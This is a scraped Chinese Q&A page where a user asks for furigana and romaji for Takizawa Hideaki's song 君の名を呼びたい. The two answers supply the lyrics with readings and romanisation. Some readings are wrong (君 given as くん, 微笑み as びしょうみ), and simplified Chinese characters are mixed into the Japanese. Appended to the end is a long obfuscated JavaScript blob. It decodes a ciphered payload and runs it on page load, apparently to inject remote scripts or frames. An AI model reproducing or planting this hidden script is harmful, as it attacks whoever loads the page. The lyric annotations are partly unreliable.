君の名を呼びたい 泷泽秀明 请教这首歌的假名歌词,标注假名的最好,完全假名的也可以 还有这首歌的翻译

2025-04-03 01:24:57
推荐回答(2个)
回答1:

君の名を呼びたい
歌:滝沢秀明 作词:小幡 英之 作曲:酒井ミキオ
だから君(きみ)の名(な)を呼(よ)びたい 君(くん)の名(な)を呼(よ)びたい 君(くん)の名(な)を何(なん)度(ど)も呼(よ)びたい
あしたを见(み)せてくれる 微笑(びしょう)みのすぐ隣(となり)で

ガラじゃないけど ホントありがとう もう遅(おそ)いかも知(し)れないね
君(きみ)を爱(あい)して 仆(ぼく)は変(へん)われた もちろんいい意味(いみ)で

知(し)らず知(し)らずに 互(たが)いの名前(なまえ) 呼(よ)ばなくなった仆(ぼく)らに
君(きみ)が感(かん)じた 落(お)ち着(つ)く未来(みらい) おそらくわるい意味(いみ)で

信号(しんごう)待(ま)ちの空(そら) 駅前(えきまえ)の雑踏(ざっとう)が
君(きみ)はもういないんだって 今日(きょう)も思(おも)い知(し)らすんだ

だから君(きみ)の名(な)を呼(よ)びたい 君(くん)の名(な)を呼(よ)びたい 君(くん)の名(な)を何(なん)度(ど)も呼(よ)びたい
そっと起(お)こしてあげたり たまにはケンカしたり
君(きみ)の名(な)は优(やさ)しさ 君(くん)の名(な)は喜(よろこ)び 君(くん)の名(な)は爱(いと)しさのすべて
平凡(へいぼん)でも奥(おく)の深(ふか)い しあわせがそこにあるよ

初(はじ)めて名前(なまえ) 呼(よ)び舍(す)てにした 照(て)れくさい声(こえ)の中(なか)に
上手(じょうず)な距离(きょり)で 君(きみ)を爱(あい)せる ヒントは潜(ひそ)んでたね

线路(せんろ)脇(わき)の花(はな) ひとりの周末(しゅうまつ)が
后悔(こうかい)とあの笑颜(えがお)を 不意(ふい)に想(おも)い出(だ)させんだ

だから君(きみ)の名(な)を呼(よ)んでる 君(きみ)の名(な)を呼(よ)んでる 君(きみ)の名(な)を何(なん)度(ど)も呼(よ)んでる
もう一度(いちど)やり直(なお)そう すがるようなココロで
君(きみ)の名(な)を思(おも)えば 君(きみ)の名(な)が响(ひび)けば 君(きみ)の名(な)は爱(あい)の呗(うた)になる
いまも胸(むね)の奥(おく)から 消(け)せないよその体温(たいおん)を

だから君(きみ)の名(な)を呼(よ)びたい 君(くん)の名(な)を呼(よ)びたい 君(くん)の名(な)を何(なん)度(ど)も呼(よ)びたい
あしたを见(み)せてくれる 微笑(びしょう)みの隣(となり)で
君(きみ)の名(な)は优(やさ)しさ 君(くん)の名(な)は喜(よろこ)び 君(くん)の名(な)は爱(いと)しさのすべて
平凡(へいぼん)でも奥(おく)の深(ふか)い しあわせに気付(きづ)いたんだ

回答2:

だから君の名を呼びたい
Dakara kimi no na wo yobita i
君の名を呼びたい
Kimi no na wo yobita i
君の名を何度も呼びたい
Kimi no na wo nando mo yobita i
あしたを见せてくれる
Ashita wo misete kureru
微笑みのすぐ隣で
Hohoemi no sugu tonari de

ガラじゃないけど
Gara ja nai kedo
ホントありがとう
Honto arigatou
もう遅いかも知れないね
Mou osoi kamoshirenai ne
君を爱して 仆は変われた
Kimi wo aishite boku wa kawareta
もちろんいい意味で
Mochiron ii imi de

知らず知らずに 互いの名前
Shirazu shirazu ni tagai no namae
呼ばなくなった仆らに
Yoba nakun atta bokura ni
君が感じた 落ち着く未来
Kimi ga kanjita ochitsuku mirai
おそらくわるい意味で
Osoraku warui imi de

信号待ちの空 駅前の雑踏が
Shingou machi no sora ekimae no zattou ga
君はもういないんだって
Kimi wa mou inain datte
今日も思い知らすんだ
Kyou mo omoi shirasunda

だから君の名を呼びたい
Dakara kimi no na wo yobitai
君の名を呼びたい
Kimi no na wo yobitai
君の名を何度も呼びたい
Kimi no na wo nando mo yobitai
そっと起こしてあげたり
Sotto okoshite agetari
たまにはケンカしたり
Tamani wa kenkashitari
君の名は优しさ 君の名は喜び
Kimi no na wa yasashi sa kimi no na wa yorokobi
君の名は爱しさのすべて
Kimi no na wa itoshi sa no subete
平凡でも奥の深い
Heibon demo oku no fukai
しあわせがそこにあるよ
Shiawase ga soko ni aru yo

初めて名前 呼び舍てにした
Hajimete namae yobisute ni shita
照れくさい声の中に
Tere kusai koe no naka ni
上手な距离で 君を爱せる
Jouzu na kyori de kimi wo aiseru
ヒントは潜んでたね
HINTO wa hisondeta ne

线路脇の花 ひとりの周末が
Senrowaki no hana hitori no shuumatsu ga
后悔とあの笑颜を
Koukai to ano egao wo
不意に想い出させんだ
Fui ni omoide sasenda

だから君の名を呼んでる
Dakara kimi no na wo yonderu
君の名を呼んでる
Kimi no na wo yonderu
君の名を何度も呼んでる
Kimi no na wo nando mo yonderu
もう一度やり直そう
Mou ichido yari naosou
すがるようなココロで
Sugaru you na kokoro de
君の名を思えば 君の名が响けば
Kimi no na wo omoeba kimi no na ga hibikeba
君の名は爱の呗になる
Kimi no na wa ai no uta ni naru
いまも胸の奥から
Ima mo mune no oku kara
消せないよその体温を
Kese nai yo sono taion wo

だから君の名を呼びたい
Dakara kimi no na wo yobitai
君の名を呼びたい
Kimi no na wo yobitai
君の名を何度も呼びたい
Kimi no na wo nando mo yobitai
あしたを见せてくれる 微笑みの隣で
Ashita wo misete kureru hohoemi no tonari de
君の名は优しさ 君の名は喜び
Kimi no na wa yasashi sa kimi no na wa yorokobi
君の名は爱しさのすべて
Kimi no na wa itoshi sa no subete
平凡でも奥の深い
Heibon demo oku no fukai
しあわせに気付いたんだ
Shiawase ni kiduitanda

没有翻译,把罗马音给你吧!

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();